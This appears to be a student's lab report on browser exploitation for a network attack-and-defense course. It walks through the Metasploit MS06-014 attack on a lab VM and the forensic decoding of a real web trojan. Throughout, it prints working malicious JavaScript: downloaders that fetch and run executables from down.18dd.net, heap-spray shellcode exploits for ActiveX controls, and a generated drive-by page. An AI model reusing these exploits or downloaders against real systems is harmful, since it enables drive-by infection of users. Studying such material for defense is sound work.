20212919 2021-2022-2 《网络攻防实践》实践十一报告

20212919 2021-2022-2 《网络攻防实践》实践十一报告

1.实践内容

一、web浏览器渗透攻击
1.攻击渗透的危害
渗透攻击主要是利用客户端存在的系统层和应用层间的安全漏洞.以窃取网络虚拟资产为目的,造成网络访问速度慢、网站内容呗篡改、终端被黑、甚至成为肉机用来攻击别人。一些网站遭受攻击后不再被信任,同时也对普通用户的隐私和财产造成严重侵害。
2.渗透攻击技术机理
常见的渗透攻击方式将渗透攻击伪装为页面元素,渗透攻击代码则会被浏览器自动下载到本地。利用脚本运行的漏洞下载、释放隐含在网页脚本中的渗透攻击代码。将渗透攻击伪装为缺失的组件,或和缺失的组件捆绑在一起。这样既达到了下载的目的,下载的组件又会被浏览器自动执行。通过脚本运行调用某些com 组件.利用其漏洞下载渗透攻击代码。在渲染页面内容的过程中利用格式溢出释放或下载渗透攻击。
3.渗透攻击的主要实现机制
渗透攻击主要分为3个阶段,预攻击阶段、攻击阶段和后攻击阶段。

二、网页木马攻击
网页木马实际上是一个HTML网页,与其它网页不同的是该网页是黑客精心制作的,用户一旦访问了该网页就会中木马。因为嵌入在这个网页中的脚本恰如其分地利用了浏览器的漏洞,让IE6浏览器在后台自动下载黑客放置在网络上的木马并运行(安装)这个木马,也就是说,这个网页能下载木马到本地并运行(安装)下载到本地电脑上的木马,整个过程都在后台运行,用户一旦打开这个网页,下载过程和运行(安装)过程就自动开始。
实际上,为了安全,浏览器是禁止自动下载程序特别是运行程序的,但是,浏览器存在着一些已知和未知的漏洞,网页木马就是利用这些漏洞获得权限来下载程序和运行程序。

三、建立安全的网络环境
作为防止黑客的攻击,良好的管理和上网习惯以及安全的防御系统至关重要,建立基于主机的入侵防御系统。将基于网络的入侵检测系统与基于主机的入侵防护结合起来。才能真正保护保存机密信息的系统。基于主机的入侵防御可以监视特定系统进入和发出的数据通信。查找异常的行为。漏洞评估就是要扫描操作系统、网络服务器、工作站、打印机等组件,目的是揭示有哪些地方缺少恰当的保护或存在漏洞。企业应当将操作系统的评估与应用程序的测试结合起来。例如。在扫描Vista 操作系统时。也应当注意Office是否受到了损害。集中化的桌面保护。目前,多数桌面计算机都安装了某种反病毒保护方案。但企业应当对桌面保护采取集中化的方法,这可使得安装、管理、维护一致性的病毒保护系统更加便捷。在将的暴露程度最少化的前提下,还能建立快速的响应机制。

(1)web浏览器渗透攻击
任务:使用攻击机和Windows靶机进行浏览器渗透攻击实验,体验网页木马构造及实施浏览器攻击的实际过程。
实验步骤:
    ①选择使用Metasploit中的MS06-014渗透攻击模块
    ②选择PAYLOAD为任意远程Shell连接
    ③设置服务器地址和URL参数,运行exploit,构造出恶意网页木马脚本
    ④在靶机环境中启动浏览器,验证与服务器的连通性,并访问而已网页木马脚本URL
    ⑤在攻击机的Metasploit软件中查看渗透攻击状态,并通过成功渗透攻击后建立起的远程控制会话SESSION,在靶机上远程执行命令
(2)取证分析实践—网页木马攻击场景分析
实践过程:
①首先你应该访问start.html,在这个文件中给出了new09.htm的地址,
②在进入 htm 后,每解密出一个文件地址,请对其作 32 位 MD5 散列,以散列值为文件名到 http://192.168.68.253/scom/hashed/哈希值下去下载对应的文件(注意:文件名中的英文字母为小写,且没有扩展名),即为解密出的地址对应的文件。
③如果解密出的地址给出的是网页或脚本文件,请继续解密。
④如果解密出的地址是二进制程序文件,请进行静态反汇编或动态调试。
⑤重复以上过程直到这些文件被全部分析完成。
(3)攻防对抗实践—web浏览器渗透攻击攻防
攻击方使用Metasploit构造出至少两个不同Web浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理之后组装成一个URL,通过具有欺骗性的电子邮件发送给防守方。
防守方对电子邮件中的挂马链接进行提取、解混淆分析、尝试恢复出渗透代码的原始形态,并分析这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。

2.实践过程

1)web浏览器渗透攻击
任务:使用攻击机和Windows靶机进行浏览器渗透攻击实验,体验网页木马构造及实施浏览器攻击的实际过程。

实践过程:

虚拟机 IP
Kali 192.168.200.10
Win2k 192.168.200.3

首先攻击机与靶机互ping显示成功,连通性良好

①选择使用Metasploit中的MS06-014渗透攻击模块
在kali端打开metasploit,输入sudo msfconsole和密码

为得到渗透攻击漏洞模块,接下来输入search MS06-014此步骤是查找MS06-014漏洞。

输入use exploit/windows/browser/ie_createobject完成此步骤

②选择PAYLOAD为任意远程Shell连接
输入show payloads进行查看

选择PAYLOAD为windows/shell/bind_tcp远程Shell连接,输入set payload windows/shell/bind_tcp

③设置服务器地址和URL参数,运行exploit,构造出恶意网页木马脚本

设置本机为攻击方输入set Lhost 192.168.200.10(kail的IP)

输入set SRVPORT 80,set URIPATH /,show options

输入exploit进行攻击

④在靶机环境中启动浏览器,验证与服务器的连通性,并访问而已网页木马脚本URL

靶机浏览器访问上图中显示的IP地址http://192.168.200.10/。

kali上建立了session。

⑤在攻击机的Metasploit软件中查看渗透攻击状态,并通过成功渗透攻击后建立起的远程控制会话SESSION,在靶机上远程执行命令,显示Windows 2000,版本为5.00.2195。

(2)取证分析实践—网页木马攻击场景分析
打开云班课资源start.html文件,并查找两处new09.htm

用记事本打开下面文件,也在压缩包里,看到记事本里有两个地址

用MD5解析出地址代码为 7f60672dcd6b5e90b6772545ee219bd3(上面引号里那地址)和(下面引号里的)23180a42a2ff1192150231b44ffdf3d3并下载对应代码名字文件

显然上面那个文件打开不是我们想要的,下面那个虽是但根本看不懂,都是乱码,所以需要我们把它解密一下。需要找到它的密钥,下拉到底我们能看到第65行有\x73\x63\x72\x69\x70\x74这就是了但还需我们把十六进制符转化成明文密钥,随便找个转化网站解出密钥script。

有了密钥我们就可以解析这个长乱码文件了,找到一个转化网站https://cycy.sourceforge.io/xxtea,在上面一栏写入密钥script,下面大白框把文件代码全粘进去就看到解析出的内容了,注意一点都不能落下。

解析出来是这样的

点击查看代码
<script>
eval("\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x69\x6e\x69\x74\x28\x29\x7b\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x29\x3b\x7d\x0d\x0a\x77\x69\x6e\x64\x6f\x77\x2e\x6f\x6e\x6c\x6f\x61\x64\x20\x3d\x20\x69\x6e\x69\x74\x3b\x0d\x0a\x69\x66\x28\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65\x2e\x69\x6e\x64\x65\x78\x4f\x66\x28\x27\x4f\x4b\x27\x29\x3d\x3d\x2d\x31\x29\x7b\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x65\x3b\x0d\x0a\x76\x61\x72\x20\x61\x64\x6f\x3d\x28\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74\x28\x22\x6f\x62\x6a\x65\x63\x74\x22\x29\x29\x3b\x0d\x0a\x61\x64\x6f\x2e\x73\x65\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65\x28\x22\x63\x6c\x61\x73\x73\x69\x64\x22\x2c\x22\x63\x6c\x73\x69\x64\x3a\x42\x44\x39\x36\x43\x35\x35\x36\x2d\x36\x35\x41\x33\x2d\x31\x31\x44\x30\x2d\x39\x38\x33\x41\x2d\x30\x30\x43\x30\x34\x46\x43\x32\x39\x45\x33\x36\x22\x29\x3b\x0d\x0a\x76\x61\x72\x20\x61\x73\x3d\x61\x64\x6f\x2e\x63\x72\x65\x61\x74\x65\x6f\x62\x6a\x65\x63\x74\x28\x22\x41\x64\x6f\x64\x62\x2e\x53\x74\x72\x65\x61\x6d\x22\x2c\x22\x22\x29\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x65\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x0d\x0a\x76\x61\x72\x20\x65\x78\x70\x69\x72\x65\x73\x3d\x6e\x65\x77\x20\x44\x61\x74\x65\x28\x29\x3b\x0d\x0a\x65\x78\x70\x69\x72\x65\x73\x2e\x73\x65\x74\x54\x69\x6d\x65\x28\x65\x78\x70\x69\x72\x65\x73\x2e\x67\x65\x74\x54\x69\x6d\x65\x28\x29\x2b\x32\x34\x2a\x36\x30\x2a\x36\x30\x2a\x31\x30\x30\x30\x29\x3b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65\x3d\x27\x63\x65\x3d\x77\x69\x6e\x64\x6f\x77\x73\x78\x70\x3b\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d\x27\x2b\x65\x78\x70\x69\x72\x65\x73\x2e\x74\x6f\x47\x4d\x54\x53\x74\x72\x69\x6e\x67\x28\x29\x3b\x0d\x0a\x69\x66\x28\x65\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x31\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x0d\x0a\x65\x6c\x73\x65\x7b\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x66\x3b\x76\x61\x72\x20\x73\x74\x6f\x72\x6d\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x4d\x50\x53\x2e\x53\x74\x6f\x72\x6d\x50\x6c\x61\x79\x65\x72\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x66\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x66\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x62\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x7d\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x67\x3b\x76\x61\x72\x20\x70\x70\x73\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x50\x4f\x57\x45\x52\x50\x4c\x41\x59\x45\x52\x2e\x50\x6f\x77\x65\x72\x50\x6c\x61\x79\x65\x72\x43\x74\x72\x6c\x2e\x31\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x67\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x67\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x70\x70\x73\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x7d\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x68\x3b\x76\x61\x72\x20\x6f\x62\x6a\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x42\x61\x69\x64\x75\x42\x61\x72\x2e\x54\x6f\x6f\x6c\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x68\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x68\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x6f\x62\x6a\x2e\x44\x6c\x6f\x61\x64\x44\x53\x28\x22\x68\x74\x74\x70\x3a\x2f\x2f\x64\x6f\x77\x6e\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x2f\x62\x62\x2f\x62\x64\x2e\x63\x61\x62\x22\x2c\x20\x22\x62\x64\x2e\x65\x78\x65\x22\x2c\x20\x30\x29\x7d\x7d\x0d\x0a\x7d\x7d\x7d")
</script>
需要我们将引号内内容转化为字符串,注意格式千万别多个引号之类的

解析出来长下面这样

点击查看代码
function init(){document.write();}
window.onload = init;
if(document.cookie.indexOf('OK')==-1){
try{var e;
var ado=(document.createElement("object"));
ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
var as=ado.createobject("Adodb.Stream","")}
catch(e){};
finally{
var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
document.cookie='ce=windowsxp;path=/;expires='+expires.toGMTString();
if(e!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/1.js><\/script>")}
else{
try{var f;var storm=new ActiveXObject("MPS.StormPlayer");}
catch(f){};
finally{if(f!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/b.js><\/script>")}}
try{var g;var pps=new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");}
catch(g){};
finally{if(g!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/pps.js><\/script>")}}
try{var h;var obj=new ActiveXObject("BaiduBar.Tool");}
catch(h){};
finally{if(h!="[object Error]"){
obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0)}}
}}}
从上面代码可以清晰看到存在的一些问题,包括“Adodb.Stream”、“MPS.StormPlayer”、POWERPLAYER.PowerPlayerCtrl.1”和“BaiduBar.Tool”这些都是问题漏洞,我们日常中还都经常使用,可见危险性,其中还存在几个地址需要计算它们的MD5值 “http://down.18dd.net/bb/bd.cab”: 1c1d7b3539a617517c49eee4120783b2

http://aa.18dd.net/aa/1.js”:5d7e9058a857aa2abee820d5473c5fa4

http://aa.18dd.net/aa/b.js”:3870c28cc279d457746b3796a262f166

http://aa.18dd.net/aa/pps.js”:5f0b8bf0385314dbe0e5ec95e6abedc2

转化网址为https://md5jiami.bmcx.com/

打开名为5d7e9058a857aa2abee820d5473c5fa4的那个文件

将其中字符放入之前说的转化网址,将看不懂的代码转化为可视代码,翻译出来如下

点击查看代码
var url="http://down.18dd.net/bb/014.exe";try{var xml=ado.CreateObject("Microsoft.XMLHTTP","");xml.Open

("GET",url,0);xml.Send();as.type=1;as.open();as.write(xml.responseBody);path="..\\ntuser.com";as.savetofile(path,2);as.close

();var shell=ado.createobject("Shell.Application","");shell.ShellExecute("cmd.exe","/c "+path,"","open",0)}catch(e){}
看着代码我们来做分析,看到里面涉及下载014.exe文件得到http://down.18dd.net/bb/014.exe,后面利用了ADODB漏洞,继续打开5f0b8bf0385314dbe0e5ec95e6abedc2文件

八进制转换字符为

点击查看代码
/*%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" "%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" "%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" "%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" "%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" "%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" "%u206a%uff53%uec57%u*/ pps=(document.createElement("object")); pps.setAttribute("classid","clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458") var shellcode = unescape("%uf3e9%u0000" "%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" "%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" "%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" "%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7" "%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" "%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" "%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" "%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" "%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" "%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" "%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" "%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" "%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" "%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" "%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" "%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" "%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" "%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" "%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" "%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" "%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" "%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u62 2f%u2f62%u7070%u2e73%u7865%u0065"); var bigblock = unescape("%u9090%u9090"); var headersize = 20; var slackspace = headersizeshellcode.length; while (bigblock.length<slackspace) bigblock=bigblock; fillblock = bigblock.substring(0, slackspace); block = bigblock.substring(0, bigblock.length-slackspace); while(block.lengthslackspace<0x40000) block = blockblockfillblock; memory = new Array(); for (x=0; x<400; x) memory[x] = block shellcode; var buffer = ''; while (buffer.length < 500) buffer="\x0a\x0a\x0a\x0a"; pps.Logo = buffer
可得文件http://down.18dd.net/bb/pps.exe

继续打开3870c28cc279d457746b3796a262f166文件

看到用的packed加密方法解密为代码如下

点击查看代码
var bigblock=unescape("%u9090%u9090"); var headersize=20; var shellcode=unescape("%uf3e9%u0000""%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c""%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378""%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b""%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%ufcef""%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1""%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103""%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904""%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b""%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e""%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d""%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320""%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344""%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc""%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0""%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab""%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f""%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574""%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e""%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00""%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c""%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54""%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000"); var slackspace=headersizeshellcode.length; while(bigblock.length<slackspace)bigblock=bigblock; fillblock=bigblock.substring(0,slackspace); block=bigblock.substring(0,bigblock.length-slackspace); while(block.lengthslackspace<0x40000)block=blockblockfillblock; memory=new Array(); for(x=0;x<300;x) memory[x]=blockshellcode; var buffer=''; while(buffer.length<4068)buffer="\x0a\x0a\x0a\x0a"; storm.rawParse(buffer)
看到涉及shellcode需要找其中的URL,最后得到http://down.18dd.net/bb/bf.exe一个可执行文件。 继续打开1c1d7b3539a617517c49eee4120783b2压缩文件得到一个新的压缩文件bd

以上分析过程共得4个大小都是37KB文件分别为:http://down.18dd.net/bb/014.exe、http://down.18dd.net/bb/bf.exe、http://down.18dd.net/bb/pps.exe、bd.exe。
再分别计算MD5值

将压缩文件夹保存至桌面,后在此处打开命令符,用sudo su提权,将上面得到的MD5值输入,文件内容一样发现结果一样。

进入虚拟机WinXP用里面的反汇编工具,打开bf.exe文件,下面对其内容进行分析,再点击strings看到里面下载量很多木马

存在一些允许执行等保护命令存在,可以使系统放开对其的一些防护作用

(3)攻防对抗实践—web浏览器渗透攻击攻防
把实验一的步骤按照自己的再来一遍,此处就不过多解释了

输入exploit开始攻击

输入sessions 1后输入ipconfig得到与靶机ip:192.168.200.122

防守方回到靶机浏览器上,用源代码方式打开发过来的字符串

将其中的源代码全选后输入到http://www.esjson.com/htmlformat.html网站上对其进行普通压缩,得到下面框里的一段代码

分析如下代码可以看到它加载了payload,正下面是一行UxKzIIOwzDuPlp.exe打开虚拟机

点击查看代码
<html><head><title></title><script language="javascript">function QxVpkUmRZfHvUpgieZCGweemCih(o,n){var r=null;try{eval("r=o.CreateObject(n)")}catch(e){}if(!r){try{eval("r=o.CreateObject(n,'')")}catch(e){}}if(!r){try{eval("r=o.CreateObject(n,'','')")}catch(e){}}if(!r){try{eval("r=o.GetObject('',n)")}catch(e){}}if(!r){try{eval("r=o.GetObject(n,'')")}catch(e){}}if(!r){try{eval("r=o.GetObject(n)")}catch(e){}}return(r)}function guNzzrEPT(a){var s=QxVpkUmRZfHvUpgieZCGweemCih(a,"WScript.Shell");var o=QxVpkUmRZfHvUpgieZCGweemCih(a,"ADODB.Stream");var e=s.Environment("Process");var url=document.location+'/payload';var xml=null;var bin=e.Item("TEMP")+"\\UxKzIIOwzDuPlp.exe";var dat;try{xml=new XMLHttpRequest()}catch(e){try{xml=new ActiveXObject("Microsoft.XMLHTTP")}catch(e){xml=new ActiveXObject("MSXML2.ServerXMLHTTP")}}if(!xml){return(0)}xml.open("GET",url,false);xml.send(null);dat=xml.responseBody;o.Type=1;o.Mode=3;o.Open();o.Write(dat);o.SaveToFile(bin,2);s.Run(bin,0)}function rKuKwsPceCVqPAjPGYIby(){var i=0;var t=new Array('{BD96C556-65A3-11D0-983A-00C04FC29E36}','{BD96C556-65A3-11D0-983A-00C04FC29E30}','{7F5B7F63-F06F-4331-8A26-339E03C0AE3D}','{6e32070a-766d-4ee6-879c-dc1fa91d2fc3}','{6414512B-B978-451D-A0D8-FCFDF33E833C}','{06723E09-F4C2-43c8-8358-09FCD1DB0766}','{639F725F-1B2D-4831-A9FD-874847682010}','{BA018599-1DB3-44f9-83B4-461454C84BF8}','{D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}','{E8CCCDDF-CA28-496b-B050-6C07C962476B}','{AB9BCEDD-EC7E-47E1-9322-D4A210617116}','{0006F033-0000-0000-C000-000000000046}','{0006F03A-0000-0000-C000-000000000046}',null);while(t[i]){var a=null;if(t[i].substring(0,1)=='{'){a=document.createElement("object");a.setAttribute("classid","clsid:"+t[i].substring(1,t[i].length-1))}else{try{a=new ActiveXObject(t[i])}catch(e){}}if(a){try{var b=QxVpkUmRZfHvUpgieZCGweemCih(a,"WScript.Shell");if(b){guNzzrEPT(a);return(0)}}catch(e){}}i++}}</script></head><body onload='rKuKwsPceCVqPAjPGYIby()'>PrYpcIOOECqLxKoxFjxBZcMeRuaF</body></html>
在守方任务管理器上找到进程,可以看到文件UxKzIIOwzDuPlp

在函数uLdZCTrDBfe()中出现了一串数组。查询这些内容可以知道攻击方利用了MS06-014漏洞。

点击查看代码
{BD96C556-65A3-11D0-983A-00C04FC29E36}, {BD96C556-65A3-11D0-983A-00C04FC29E30}, {7F5B7F63-F06F-4331-8A26-339E03C0AE3D}, {6e32070a-766d-4ee6-879c-dc1fa91d2fc3}, {6414512B-B978-451D-A0D8-FCFDF33E833C}, {06723E09-F4C2-43c8-8358-09FCD1DB0766}, {639F725F-1B2D-4831-A9FD-874847682010}, {BA018599-1DB3-44f9-83B4-461454C84BF8}, {D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}, {E8CCCDDF-CA28-496b-B050-6C07C962476B}, {AB9BCEDD-EC7E-47E1-9322-D4A210617116}, {0006F033-0000-0000-C000-000000000046}, {0006F03A-0000-0000-C000-000000000046}

3.学习中遇到的问题及解决

  • 问题1:实验开始的时候靶机可以ping通kali而kali不能ping靶机

  • 问题1解决方案:关掉靶机防火墙即可

  • 问题2:十六进制转化字符那里找了超级久网站,着实感叹好多垃圾网站啊

  • 问题2解决方案:大概找了十几个才最终找到能正确实现转换的网站
    http://www.ab173.com/convert/ox2str.php

4.实践总结

本次实验较前几次要难一些,主要涉及文件很多,且每个文件都需要解密,解密后如果是网页或脚本还需继续解密,还涉及反汇编等过程,相对较繁琐,但学到了很多知识,懂得了面对网页木马如何进行场景分析,还有防御web浏览器渗透攻击,过程还算顺利在既攻又守的网络身份转化中实现了本次实验。

参考资料

https://max.book118.com/html/2015/0529/17999985.shtm
https://max.book118.com/html/2020/0201/7042054134002114.shtm|

posted on 2022-05-27 21:19  婷啊婷儿  阅读(100)  评论(0编辑  收藏  举报